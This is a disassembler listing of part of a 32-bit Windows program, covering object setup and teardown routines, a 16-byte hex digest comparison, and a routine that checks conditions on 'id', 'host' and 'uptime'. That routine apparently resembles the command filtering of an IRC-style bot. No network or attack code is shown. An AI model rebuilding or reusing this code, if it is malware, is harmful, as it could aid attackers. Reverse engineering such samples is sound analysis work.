		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B50	proc near		; CODE XREF: sub_402072j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412B50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_412B50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C10	proc near		; CODE XREF: sub_401979j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_412C10	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412CD0	proc near		; CODE XREF: sub_401F1Ej

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412CD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_412CD0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412D70:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43AC4E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_413096
		push	ebx
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013E3
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013E3
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E47
		push	offset asc_444600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016B8
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E47
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40202C
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40202C
		push	offset asc_444D14 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412EF5
		xor	edi, edi


loc_412EF5:				; CODE XREF: ___:00412EF1j
		push	offset asc_444D10 ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F0C
		mov	edi, 1


loc_412F0C:				; CODE XREF: ___:00412F05j
		push	offset asc_444D0C ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F23
		mov	edi, 2


loc_412F23:				; CODE XREF: ___:00412F1Cj
		push	offset asc_444D08 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F3A
		mov	edi, 3


loc_412F3A:				; CODE XREF: ___:00412F33j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F94
		test	edi, edi
		jnz	short loc_412F6A
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412F94
		jmp	short loc_412F87
; ---------------------------------------------------------------------------


loc_412F6A:				; CODE XREF: ___:00412F4Ej
		cmp	edi, 1
		jnz	short loc_412F94
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F94


loc_412F87:				; CODE XREF: ___:00412F68j
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_412F94:				; CODE XREF: ___:00412F4Aj
					; ___:00412F66j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FE7
		test	edi, edi
		jnz	short loc_412FC8
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jnz	loc_413049
		jmp	short loc_41303C
; ---------------------------------------------------------------------------


loc_412FC8:				; CODE XREF: ___:00412FA8j
		cmp	edi, 1
		jnz	short loc_413049
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jz	short loc_413049
		jmp	short loc_41303C
; ---------------------------------------------------------------------------


loc_412FE7:				; CODE XREF: ___:00412FA4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_413049
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_40165E
		test	edi, edi
		jnz	short loc_41301D
		cmp	eax, ebx
		jz	short loc_413049
		jmp	short loc_41303C
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: ___:00413015j
		cmp	edi, 1
		jnz	short loc_413028
		cmp	eax, ebx
		jnz	short loc_413049
		jmp	short loc_41303C
; ---------------------------------------------------------------------------


loc_413028:				; CODE XREF: ___:00413020j
		cmp	edi, 2
		jnz	short loc_413033
		cmp	eax, ebx
		jle	short loc_413049
		jmp	short loc_41303C
; ---------------------------------------------------------------------------


loc_413033:				; CODE XREF: ___:0041302Bj
		cmp	edi, 3
		jnz	short loc_413049
		cmp	eax, ebx
		jge	short loc_413049


loc_41303C:				; CODE XREF: ___:00412FC6j
					; ___:00412FE5j ...
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_413049:				; CODE XREF: ___:00412FC0j
					; ___:00412FCBj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_413098
; ---------------------------------------------------------------------------


loc_413096:				; CODE XREF: ___:00412DA9j
		mov	al, 1


loc_413098:				; CODE XREF: ___:00413094j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4131A0	proc near		; CODE XREF: sub_40165Ej
		nop
		call	near ptr 27E0DC8h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4131A0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131E0	proc near		; CODE XREF: sub_402018j

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4131E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401753
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F23
sub_4131E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401852
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43F044
		call	sub_401933
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132B0	proc near		; CODE XREF: sub_401D0Cj ___:00401E29j
		push	esi
		mov	esi, ecx
		call	sub_401CA3
sub_4132B0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_4132C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4132C8:				; CODE XREF: ___:004132BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132E0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43F044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401933
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014BF
sub_4132E0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4133A0	proc near		; CODE XREF: sub_401A05j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4133A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4133A0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413490	proc near		; CODE XREF: sub_401CE4j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	short loc_413537
		lea	ecx, [esp+18h+var_14]
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413537


loc_4134F8:				; CODE XREF: sub_413490+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41355C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_4134F8


loc_413537:				; CODE XREF: sub_413490+2Ej
					; sub_413490+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41355C:				; CODE XREF: sub_413490+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_413490	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4135D0	proc near		; CODE XREF: sub_402130j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4135D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_4136A3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jz	short loc_4136A3


loc_41363F:				; CODE XREF: sub_4135D0+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebx
		call	sub_401CE4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41366C
		mov	edi, [esi]


loc_41366C:				; CODE XREF: sub_4135D0+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B86
		test	eax, eax
		jz	short loc_4136CB
		test	esi, esi
		jnz	short loc_4136CB
		lea	ecx, [esp+28h+var_18]
		call	sub_4018C5
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jnz	short loc_41363F


loc_4136A3:				; CODE XREF: sub_4135D0+31j
					; sub_4135D0+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4136B6:				; CODE XREF: sub_4135D0+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_4136CB:				; CODE XREF: sub_4135D0+AAj
					; sub_4135D0+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4136B6
sub_4135D0	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413730	proc near		; CODE XREF: sub_401F64j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	short loc_4137D4
		lea	ecx, [esp+14h+var_14]
		call	sub_401E38
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_4137D4


loc_413796:				; CODE XREF: sub_413730+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jz	short loc_413806
		lea	ecx, [esp+14h+var_14]
		call	sub_4020C2
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_413796


loc_4137D4:				; CODE XREF: sub_413730+2Bj
					; sub_413730+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401582
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413806:				; CODE XREF: sub_413730+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401582
sub_413730	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4138A0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4138A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017EE
		test	eax, eax
		jz	loc_4139D3
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A69
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_40142E
		push	offset byte_448F30
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015E1
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014DD
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C26
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402176
		add	esp, 14h


loc_41393B:				; CODE XREF: sub_4138A0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_40142E
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016C7
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41393B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B86
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_4139CE
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4139EC
; ---------------------------------------------------------------------------


loc_4139CE:				; CODE XREF: sub_4138A0+10Cj
		call	sub_401226


loc_4139D3:				; CODE XREF: sub_4138A0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4139EC:				; CODE XREF: sub_4138A0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4138A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A70	proc near		; CODE XREF: sub_40192Ej

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413A70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014D3
		mov	ecx, esi
		call	sub_402130
		test	eax, eax
		jz	short loc_413B1E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_401726
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014D3
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F64
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413B1E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413B1E:				; CODE XREF: sub_413A70+3Fj
					; sub_413A70+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_413A70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413BA0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_43AE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40192E
		mov	ecx, [esp+8]
